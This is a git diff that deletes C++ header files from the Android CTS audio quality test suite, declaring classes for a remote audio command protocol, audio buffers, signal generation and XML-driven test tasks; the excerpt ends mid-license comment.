deleted file mode 100644
index eaf93a8..0000000
--- a/suite/audio_quality/lib/include/audio/AudioProtocol.h
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIOPROTOCOL_H
-#define CTSAUDIO_AUDIOPROTOCOL_H
-
-#include <stdint.h>
-
-#include <utils/StrongPointer.h>
-#include "Log.h"
-#include "audio/Buffer.h"
-#include "ClientSocket.h"
-
-#define U32_ENDIAN_SWAP(x) ( ((x) & 0x000000ff)<<24 | ((x) & 0x0000ff00)<<8 | \
-        ((x) & 0x00ff0000)>>8 | ((x) & 0xff000000)>>24 )
-
-class AudioParam {
-public:
-    bool mStereo;
-    uint32_t mSamplingF;
-    uint32_t mMode;
-    uint32_t mNumberRepetition; // only for playback
-    uint32_t mVolume;
-    uint32_t mId;
-    android::sp<Buffer> mBuffer;
-    void* mExtra; // extra data for whatever purpose
-};
-
-class AudioProtocol {
-public:
-    enum CommandId {
-        ECmdStart               = 0x12340001, //not actual command
-        ECmdDownload            = 0x12340001,
-        ECmdStartPlayback       = 0x12340002,
-        ECmdStopPlayback        = 0x12340003,
-        ECmdStartRecording      = 0x12340004,
-        ECmdStopRecording       = 0x12340005,
-        ECmdGetDeviceInfo       = 0x12340006,
-        ECmdLast                = 0x12340007, // not actual command
-    };
-
-    static const uint32_t REPLY_HEADER_SIZE = 12;
-    // up to 5 parameters for command / reply
-    class ProtocolParam {
-    public:
-        void* param[5];
-    };
-
-    virtual ~AudioProtocol() {
-        //LOGD("~AudioProtocol %x", this);
-    };
-
-    /// default implementation, no param, no payload
-    virtual bool sendCommand(AudioParam& param);
-    /// default implementation, no param, no payload
-    virtual bool handleReply(const uint32_t* data, AudioParam* param);
-
-    /**
-     * read header of reply and returns CommandId of reply.
-     * @param socket socket to read
-     * @param data pointer to buffer to store header, it should be uint32_t[3]
-     * @param id types of reply
-     * @return true if everything OK
-     */
-    static bool handleReplyHeader(ClientSocket& socket, uint32_t* data, CommandId& id);
-
-protected:
-    AudioProtocol(ClientSocket& socket, uint32_t command)
-        : mCommand(command),
-          mSocket(socket) {};
-
-    bool sendData(const char* data, int len) {
-        return mSocket.sendData(data, len);
-    };
-
-    bool checkHeaderId(const uint32_t* data, uint32_t command);
-    bool readData(char* data, int len) {
-        return mSocket.readData(data, len);
-    };
-
-protected:
-    int mBuffer[8];
-private:
-    uint32_t mCommand;
-    ClientSocket& mSocket;
-
-};
-
-class CmdDownload: public AudioProtocol {
-public:
-    explicit CmdDownload(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdDownload) {};
-    virtual ~CmdDownload() {};
-    virtual bool sendCommand(AudioParam& param);
-};
-
-
-class CmdStartPlayback: public AudioProtocol {
-public:
-    explicit CmdStartPlayback(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdStartPlayback) {};
-    virtual ~CmdStartPlayback() {};
-    virtual bool sendCommand(AudioParam& param);
-};
-
-class CmdStopPlayback: public AudioProtocol {
-public:
-    explicit CmdStopPlayback(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdStopPlayback) {};
-    virtual ~CmdStopPlayback() {};
-};
-
-class CmdStartRecording: public AudioProtocol {
-public:
-    explicit CmdStartRecording(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdStartRecording) {};
-    virtual ~CmdStartRecording() {};
-
-    virtual bool sendCommand(AudioParam& param);
-
-    virtual bool handleReply(const uint32_t* data, AudioParam* param);
-};
-
-class CmdStopRecording: public AudioProtocol {
-public:
-    explicit CmdStopRecording(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdStopRecording) {};
-    virtual ~CmdStopRecording() {};
-};
-
-class CmdGetDeviceInfo: public AudioProtocol {
-public:
-    explicit CmdGetDeviceInfo(ClientSocket& socket)
-        : AudioProtocol(socket, ECmdGetDeviceInfo) {};
-    virtual ~CmdGetDeviceInfo() {};
-
-    virtual bool handleReply(const uint32_t* data, AudioParam* param);
-};
-
-#endif // CTSAUDIO_AUDIOPROTOCOL_H
diff --git a/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h b/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h
deleted file mode 100644
index e192812..0000000
--- a/suite/audio_quality/lib/include/audio/AudioRecordingLocal.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIORECORDINGLOCAL_H
-#define CTSAUDIO_AUDIORECORDINGLOCAL_H
-
-#include <utils/String8.h>
-
-#include <tinyalsa/asoundlib.h>
-
-#include "AudioLocal.h"
-
-
-class AudioRecordingLocal: public AudioLocal {
-public:
-    explicit AudioRecordingLocal(int hwId);
-    virtual ~AudioRecordingLocal();
-protected:
-    bool doPrepare(AudioHardware::SamplingRate, int samplesInOneGo);
-    bool doPlaybackOrRecord(android::sp<Buffer>& buffer);
-    void doStop();
-    void releaseHw();
-
-private:
-    int mHwId;
-    struct pcm* mPcmHandle;
-    // unit recording samples
-    int mSamples;
-    // unit recording sizes
-    int mSizes;
-    // alsa buffer size
-    int mBufferSize;
-};
-
-
-#endif // CTSAUDIO_AUDIORECORDINGLOCAL_H
diff --git a/suite/audio_quality/lib/include/audio/AudioRemote.h b/suite/audio_quality/lib/include/audio/AudioRemote.h
deleted file mode 100644
index f5e6c2e4..0000000
--- a/suite/audio_quality/lib/include/audio/AudioRemote.h
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIOREMOTE_H
-#define CTSAUDIO_AUDIOREMOTE_H
-#include <utils/StrongPointer.h>
-#include "AudioHardware.h"
-// real implementation
-#include "RemoteAudio.h"
-
-
-// wrapper in AudioHardware interface
-class AudioRemote: public AudioHardware {
-public:
-    virtual bool prepare(AudioHardware::SamplingRate samplingRate, int volume,
-            int mode = AudioHardware::EModeVoice);
-
-protected:
-    explicit AudioRemote(android::sp<RemoteAudio>& remote);
-    virtual ~AudioRemote() {};
-
-protected:
-    android::sp<RemoteAudio> mRemote;
-    AudioHardware::SamplingRate mSamplingRate;
-    int mVolume;
-    int mMode;
-};
-
-class AudioRemotePlayback: public AudioRemote {
-public:
-    explicit AudioRemotePlayback(android::sp<RemoteAudio>& remote);
-    virtual ~AudioRemotePlayback() {};
-    virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition = 1);
-    virtual bool waitForCompletion();
-    virtual void stopPlaybackOrRecord();
-    bool startPlaybackForRemoteData(int id, bool stereo,  int numberRepetition = 1);
-};
-
-class AudioRemoteRecording: public AudioRemote {
-public:
-    explicit AudioRemoteRecording(android::sp<RemoteAudio>& remote);
-    virtual ~AudioRemoteRecording() {};
-    virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition = 1);
-    virtual bool waitForCompletion();
-    virtual void stopPlaybackOrRecord();
-};
-
-
-#endif // CTSAUDIO_AUDIOREMOTE_H
diff --git a/suite/audio_quality/lib/include/audio/AudioSignalFactory.h b/suite/audio_quality/lib/include/audio/AudioSignalFactory.h
deleted file mode 100644
index 1c985cc..0000000
--- a/suite/audio_quality/lib/include/audio/AudioSignalFactory.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIOSIGNALFACTORY_H
-#define CTSAUDIO_AUDIOSIGNALFACTORY_H
-
-#include <utils/StrongPointer.h>
-
-#include "AudioHardware.h"
-#include "Buffer.h"
-/**
- * factory for creating various audio signals
- */
-class AudioSignalFactory {
-public:
-    static android::sp<Buffer> generateSineWave(AudioHardware::BytesPerSample BPS,
-            int maxPositive, AudioHardware::SamplingRate samplingRate, int signalFreq, int samples,
-            bool stereo = true);
-    static android::sp<Buffer> generateWhiteNoise(AudioHardware::BytesPerSample BPS,
-            int maxPositive, int samples, bool stereo = true);
-    static android::sp<Buffer> generateZeroSound(AudioHardware::BytesPerSample BPS,
-            int samples, bool stereo = true);
-};
-
-
-#endif // CTSAUDIO_AUDIOSIGNALFACTORY_H
diff --git a/suite/audio_quality/lib/include/audio/Buffer.h b/suite/audio_quality/lib/include/audio/Buffer.h
deleted file mode 100644
index 17c5679..0000000
--- a/suite/audio_quality/lib/include/audio/Buffer.h
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_BUFFER_H
-#define CTSAUDIO_BUFFER_H
-
-#include <stdlib.h>
-#include <string.h>
-#include <utils/String8.h>
-
-#include <utils/RefBase.h>
-
-#include <Log.h>
-
-/**
- * Buffer passed for audio playback and recording
- * The buffer is supposed to be used with sp to guarantee that audio thread can
- * access it even if the client thread is dead.
- */
-class Buffer: public virtual android::RefBase {
-public:
-    explicit Buffer(size_t capacity, size_t size = 0, bool stereo = true);
-
-    virtual ~Buffer();
-
-    inline size_t getCapacity() {
-        return mCapacity;
-    };
-
-    inline size_t getSize() {
-        return mSize;
-    };
-
-    inline size_t getSamples() {
-        return (getSize() / (isStereo() ? 4 : 2));
-    };
-
-    inline void setSize(size_t size) {
-        mSize = size;
-    };
-
-    inline void increaseSize(size_t size) {
-        mSize += size;
-    }
-    inline char* getData() {
-        return mData;
-    };
-
-    inline void setData(char* data, size_t len) {
-        ASSERT(len <= mCapacity);
-        memcpy(mData, data, len);
-        mSize = len;
-    };
-
-    inline char* getUnhanledData() {
-        return mData + mHandled;
-    };
-
-    inline bool bufferHandled() {
-        return mSize <= mHandled;
-    };
-
-    inline void restart() {
-        mHandled = 0;
-    };
-    /// size was recorded
-    inline void increaseHandled(size_t size) {
-        mHandled += size;
-    };
-
-    inline void setHandled(size_t size) {
-        mHandled = size;
-    }
-    /// amount recorded
-    inline size_t amountHandled() {
-        return mHandled;
-    };
-
-    inline size_t amountToHandle() {
-        return mSize - mHandled;
-    };
-
-    inline bool isStereo() {
-        return mStereo;
-    };
-    enum ConvertOption {
-        EKeepCh0 = 0,
-        EKeepCh1 = 1,
-        EAverage = 2
-    };
-    /// change stereo buffer to mono
-    void changeToMono(ConvertOption option);
-    /// change mono buffer to stereo. This does not increase allocated memory.
-    /// So it will fail if capacity is not big enough.
-    bool changeToStereo();
-
-    /// save the buffer to file
-    /// extension appropriate for the data type will be appended to file name
-    bool saveToFile(const android::String8& filename);
-
-    bool operator ==(const Buffer& b) const;
-
-    /// load raw data from given file.
-    /// data format is decided by extension
-    /// .r2s: 16 bps, stereo
-    /// .r2m: 16bps, mono
-    static Buffer* loadFromFile(const android::String8& filename);
-private:
-    // max data that can be hold
-    size_t mCapacity;
-    // data stored for playback / to store for recording
-    size_t mSize;
-    // how much data was handled / recorded
-    size_t mHandled;
-    // stereo or mono
-    bool mStereo;
-    // payload
-    char* mData;
-};
-
-
-
-#endif // CTSAUDIO_BUFFER_H
diff --git a/suite/audio_quality/lib/include/audio/RemoteAudio.h b/suite/audio_quality/lib/include/audio/RemoteAudio.h
deleted file mode 100644
index be977b2..0000000
--- a/suite/audio_quality/lib/include/audio/RemoteAudio.h
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_REMOTEAUDIO_H
-#define CTSAUDIO_REMOTEAUDIO_H
-
-#include <map>
-
-#include <utils/Looper.h>
-#include <utils/String8.h>
-#include <utils/StrongPointer.h>
-#include <utils/threads.h>
-
-#include "audio/Buffer.h"
-#include "AudioProtocol.h"
-#include "ClientSocket.h"
-#include "Semaphore.h"
-
-class CommandHandler;
-/**
- * Tcp communication runs in a separate thread,
- * and client can communicate using public APIs
- * Assumption: only one command at a time. No other command can come
- * while a command is pending.
- */
-class RemoteAudio: public android::Thread {
-public:
-
-    explicit RemoteAudio(ClientSocket& socket);
-    virtual ~RemoteAudio();
-
-    /** launch a thread, and connect to host */
-    bool init(int port);
-    bool downloadData(const android::String8& name, android::sp<Buffer>& buffer, int& id);
-    // <0 : not found
-    int getDataId(const android::String8& name);
-    bool startPlayback(bool stereo, int samplingF, int mode, int volume,
-            int id, int numberRepetition);
-    void stopPlayback();
-    bool waitForPlaybackCompletion();
-    // buffer.getSize() determines number of samples
-    bool startRecording(bool stereo, int samplingF, int mode, int volume,
-            android::sp<Buffer>& buffer);
-    bool waitForRecordingCompletion();
-    void stopRecording();
-
-    bool getDeviceInfo(android::String8& data);
-    /** should be called before RemoteAudio is destroyed */
-    void release();
-
-private:
-    RemoteAudio(const RemoteAudio&);
-
-    bool threadLoop();
-    void wakeClient(bool result);
-    void cleanup(bool notifyClient);
-
-    bool handlePacket();
-    static int socketRxCallback(int fd, int events, void* data);
-
-    class CommandHandler;
-    void sendCommand(android::sp<android::MessageHandler>& command);
-
-    // this is just semaphore wait without any addition
-    bool waitForCompletion(android::sp<android::MessageHandler>& command, int timeInMSec);
-    // common code for waitForXXXCompletion
-    bool waitForPlaybackOrRecordingCompletion(
-            android::sp<android::MessageHandler>& commandHandler);
-    // common code for stopXXX
-    void doStop(android::sp<android::MessageHandler>& commandHandler, AudioProtocol::CommandId id);
-
-    CommandHandler* toCommandHandler(android::sp<android::MessageHandler>& command) {
-        return reinterpret_cast<CommandHandler*>(command.get());
-    };
-
-private:
-    bool mExitRequested;
-    bool mInitResult;
-    // used only for notifying successful init
-    Semaphore mInitWait;
-
-
-    enum EventId {
-        EIdSocket = 1,
-    };
-    static const int CLIENT_WAIT_TIMEOUT_MSEC = 2000;
-    int mPort;
-    ClientSocket& mSocket;
-
-
-    android::sp<android::Looper> mLooper;
-
-    friend class CommandHandler;
-
-    class CommandHandler: public android::MessageHandler {
-    public:
-        enum ClientCommands {
-            EExit = 1,
-        };
-        CommandHandler(RemoteAudio& thread, int command)
-            : mThread(thread),
-              mMessage(command),
-              mNotifyOnReply(false),
-              mActive(false) {};
-        virtual ~CommandHandler() {};
-        void handleMessage(const android::Message& message);
-        bool timedWait(int timeInMSec) {
-            return mClientWait.timedWait(timeInMSec);
-        };
-        AudioParam& getParam() {
-            return mParam;
-        };
-        android::Message& getMessage() {
-            return mMessage;
-        };
-
-    private:
-        RemoteAudio& mThread;
-        AudioParam mParam;
-        Semaphore mClientWait;
-        android::Mutex mStateLock;
-        android::Message mMessage;
-        bool mResult;
-        bool mNotifyOnReply;
-        bool mActive;
-        friend class RemoteAudio;
-    };
-    android::sp<android::MessageHandler> mDownloadHandler;
-    android::sp<android::MessageHandler> mPlaybackHandler;
-    android::sp<android::MessageHandler> mRecordingHandler;
-    android::sp<android::MessageHandler> mDeviceInfoHandler;
-
-    AudioProtocol* mCmds[AudioProtocol::ECmdLast - AudioProtocol::ECmdStart];
-    int mDownloadId;
-    std::map<int, android::sp<Buffer> > mBufferList;
-    std::map<android::String8, int> mIdMap;
-};
-
-
-
-#endif // CTSAUDIO_REMOTEAUDIO_H
diff --git a/suite/audio_quality/lib/include/task/ModelBuilder.h b/suite/audio_quality/lib/include/task/ModelBuilder.h
deleted file mode 100644
index c997000..0000000
--- a/suite/audio_quality/lib/include/task/ModelBuilder.h
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_MODELBUILDER_H
-#define CTSAUDIO_MODELBUILDER_H
-
-#include <utils/String8.h>
-#include "TaskAll.h"
-
-namespace tinyxml2 {
-class XMLElement;
-};
-
-class GenericFactory;
-
-/**
- * Class to parse Test description XML and generate test model with TestCase in top
- */
-
-class ModelBuilder {
-public:
-    ModelBuilder();
-    explicit ModelBuilder(GenericFactory* factory);
-    virtual ~ModelBuilder();
-
-    /**
-     * parse given xml with test case or batch. When caseOnly is true, only test case can be in.
-     */
-    virtual TaskGeneric* parseTestDescriptionXml(const android::String8& xmlFileName,
-            bool caseOnly = false);
-
-    struct ChildInfo {
-        TaskGeneric::TaskType type;
-        bool mandatory; // whether the child is mandatory or not
-    };
-
-private:
-    virtual bool parseAttributes(const tinyxml2::XMLElement& elem, TaskGeneric& task);
-    virtual TaskGeneric* parseGeneric(const tinyxml2::XMLElement& elem, int tableIndex);
-    virtual TaskCase* parseCase(const tinyxml2::XMLElement& root);
-    virtual TaskBatch* parseBatch(const tinyxml2::XMLElement& root, const android::String8& xmlFileName);
-    virtual TaskCase* parseInclude(const tinyxml2::XMLElement& elem, const android::String8& path);
-
-    struct ParsingInfo {
-        const char* name; // XML element name
-        TaskGeneric::TaskType type;
-        const ChildInfo* allowedChildren;
-        int Nchildren;
-    };
-    // no table for batch, and ETaskInvalidLast is not in either (-2)
-    static const int PARSING_TABLE_SIZE = TaskGeneric::ETaskInvalidLast - 2;
-    static ParsingInfo mParsingTable[PARSING_TABLE_SIZE];
-
-    GenericFactory* mFactory;
-
-};
-
-
-#endif // CTSAUDIO_MODELBUILDER_H
diff --git a/suite/audio_quality/lib/include/task/TaskAll.h b/suite/audio_quality/lib/include/task/TaskAll.h
deleted file mode 100644
index 3729ef8..0000000
--- a/suite/audio_quality/lib/include/task/TaskAll.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKALL_H
-#define CTSAUDIO_TASKALL_H
-
-/// convenience header to include all Task stuffs
-#include "TaskGeneric.h"
-#include "TaskBatch.h"
-#include "TaskCase.h"
-#include "TaskSequential.h"
-#include "TaskProcess.h"
-#include "TaskAsync.h"
-#include "TaskInput.h"
-#include "TaskOutput.h"
-#include "TaskSound.h"
-#include "TaskSave.h"
-#include "TaskMessage.h"
-#include "TaskDownload.h"
-
-#endif // CTSAUDIO_TASKALL_H
diff --git a/suite/audio_quality/lib/include/task/TaskAsync.h b/suite/audio_quality/lib/include/task/TaskAsync.h
deleted file mode 100644
index 9651c90..0000000
--- a/suite/audio_quality/lib/include/task/TaskAsync.h
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKASYNC_H
-#define CTSAUDIO_TASKASYNC_H
-
-#include "audio/AudioHardware.h"
-#include "TaskGeneric.h"
-
-class TaskSequential;
-/**
- * Common parent class for TaskInput and TaskOutput
- */
-class TaskAsync: public TaskGeneric {
-public:
-    explicit TaskAsync(TaskType type);
-    virtual ~TaskAsync();
-    virtual TaskGeneric::ExecutionResult run();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-    virtual TaskGeneric::ExecutionResult start() = 0;
-    virtual TaskGeneric::ExecutionResult complete() = 0;
-
-    bool isAsynchronous() {
-        return mAsynchronous;
-    }
-
-private:
-    void makeAsynchronous() {
-        mAsynchronous = true;
-    }
-    TaskSequential* getParentSequential();
-
-protected:
-    android::String8 mId;
-    int mVolume;
-
-    enum DeviceType {
-        EDeviceHost,
-        EDeviceDUT
-    };
-
-    DeviceType mDeviceType;
-
-    AudioHardware::AudioMode mMode;
-
-private:
-    bool mAsynchronous;
-
-};
-
-
-
-#endif // CTSAUDIO_TASKASYNC_H
diff --git a/suite/audio_quality/lib/include/task/TaskBatch.h b/suite/audio_quality/lib/include/task/TaskBatch.h
deleted file mode 100644
index add8590..0000000
--- a/suite/audio_quality/lib/include/task/TaskBatch.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKBATCH_H
-#define CTSAUDIO_TASKBATCH_H
-
-#include "TaskGeneric.h"
-
-
-class TaskBatch: public TaskGeneric {
-public:
-    TaskBatch();
-    virtual ~TaskBatch();
-    virtual bool addChild(TaskGeneric* child);
-    virtual TaskGeneric::ExecutionResult run();
-
-};
-
-
-
-#endif // CTSAUDIO_TASKBATCH_H
diff --git a/suite/audio_quality/lib/include/task/TaskCase.h b/suite/audio_quality/lib/include/task/TaskCase.h
deleted file mode 100644
index 22d94e9..0000000
--- a/suite/audio_quality/lib/include/task/TaskCase.h
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKCASE_H
-#define CTSAUDIO_TASKCASE_H
-
-#include <stdint.h>
-#include <map>
-#include <list>
-#include <utility>
-#include <utils/String8.h>
-#include <utils/StrongPointer.h>
-#include "Log.h"
-#include "audio/Buffer.h"
-#include "TaskGeneric.h"
-
-class RemoteAudio;
-class ClientInterface;
-
-class TaskCase: public TaskGeneric {
-public:
-    TaskCase();
-    virtual ~TaskCase();
-    virtual bool addChild(TaskGeneric* child);
-    virtual TaskGeneric::ExecutionResult run();
-
-    bool getCaseName(android::String8& name) const;
-
-    bool registerBuffer(const android::String8& name, android::sp<Buffer>& buffer);
-    // update already existing buffer. Actually the old buffer will be deleted.
-    bool updateBuffer(const android::String8& name, android::sp<Buffer>& buffer);
-    /// find buffer with given id. sp will be NULL if not found
-    android::sp<Buffer> findBuffer(const android::String8& name);
-    typedef std::pair<android::String8, android::sp<Buffer> > BufferPair;
-    /// find all buffers with given regular expression. returns NULL if not found
-    std::list<BufferPair>*  findAllBuffers(const android::String8& re);
-
-    android::sp<RemoteAudio>& getRemoteAudio();
-
-    class Value {
-    public:
-        enum Type {
-            ETypeDouble,
-            ETypeI64
-        };
-        inline Value(): mType(ETypeDouble) {};
-        inline explicit Value(Type type): mType(type) {};
-        inline explicit Value(double val): mType(ETypeDouble) {
-            setDouble(val);
-        };
-        inline explicit Value(int64_t val): mType(ETypeI64) {
-            setInt64(val);
-        };
-        inline Type getType() {
-            return mType;
-        };
-        inline void setType(Type type) {
-            mType = type;
-        };
-        inline void setDouble(double val) {
-            mValue[0] = val;
-            mType = ETypeDouble;
-            //LOGD("Value set %f 0x%x", val, this);
-        };
-        inline double getDouble() {
-            //LOGD("Value get %f 0x%x", mValue[0], this);
-            return mValue[0];
-        };
-        inline void setInt64(int64_t val) {
-            int64_t* data = reinterpret_cast<int64_t*>(mValue);
-            data[0] = val;
-            mType = ETypeI64;
-            //LOGD("Value set %lld 0x%x", val, this);
-        }
-        inline int64_t getInt64() {
-            int64_t* data = reinterpret_cast<int64_t*>(mValue);
-            //LOGD("Value get %lld 0x%x", data[0], this);
-            return data[0];
-        }
-        void* getPtr() {
-            return mValue;
-        }
-        bool operator ==(const Value& b) const {
-            return ((mValue[0] == b.mValue[0]) && (mType == b.mType));
-        };
-
-    private:
-        double mValue[1];
-        Type mType;
-    };
-
-    bool registerValue(const android::String8& name, Value& val);
-    bool updateValue(const android::String8& name, Value& val);
-    bool findValue(const android::String8& name, Value& val);
-    typedef std::pair<android::String8, Value> ValuePair;
-    /// find all Values with given regular expression. returns NULL if not found
-    std::list<ValuePair>*  findAllValues(const android::String8& re);
-
-    bool registerIndex(const android::String8& name, int value = -1);
-    bool updateIndex(const android::String8& name, int value);
-    bool findIndex(const android::String8& name, int& val);
-    typedef std::pair<android::String8, int> IndexPair;
-    /// find all Indices with given regular expression. returns NULL if not found
-    std::list<IndexPair>*  findAllIndices(const android::String8& re);
-
-    /**
-     * Translate variable name like $i into index variable
-     * All xxxValue and xxxBuffer calls do translation inside.
-     */
-    bool translateVarName(const android::String8& orig, android::String8& translated);
-
-    void setDetails(const android::String8& details);
-    const android::String8& getDetails() const;
-private:
-    void releaseRemoteAudio();
-
-private:
-    std::map<android::String8, android::sp<Buffer> > mBufferList;
-    std::map<android::String8, int> mIndexList;
-    std::map<android::String8, Value> mValueList;
-    ClientInterface* mClient;
-    android::String8 mDetails;
-};
-
-
-#endif // CTSAUDIO_TASKCASE_H
diff --git a/suite/audio_quality/lib/include/task/TaskDownload.h b/suite/audio_quality/lib/include/task/TaskDownload.h
deleted file mode 100644
index 64aae45..0000000
--- a/suite/audio_quality/lib/include/task/TaskDownload.h
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKDOWNLOAD_H
-#define CTSAUDIO_TASKDOWNLOAD_H
-#include <utils/String8.h>
-#include <utils/StrongPointer.h>
-#include "audio/Buffer.h"
-#include "TaskGeneric.h"
-
-
-class TaskDownload: public TaskGeneric {
-public:
-    TaskDownload();
-    virtual ~TaskDownload();
-    virtual TaskGeneric::ExecutionResult run();
-};
-
-
-#endif // CTSAUDIO_TASKDOWNLOAD_H
diff --git a/suite/audio_quality/lib/include/task/TaskGeneric.h b/suite/audio_quality/lib/include/task/TaskGeneric.h
deleted file mode 100644
index af0a500..0000000
--- a/suite/audio_quality/lib/include/task/TaskGeneric.h
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
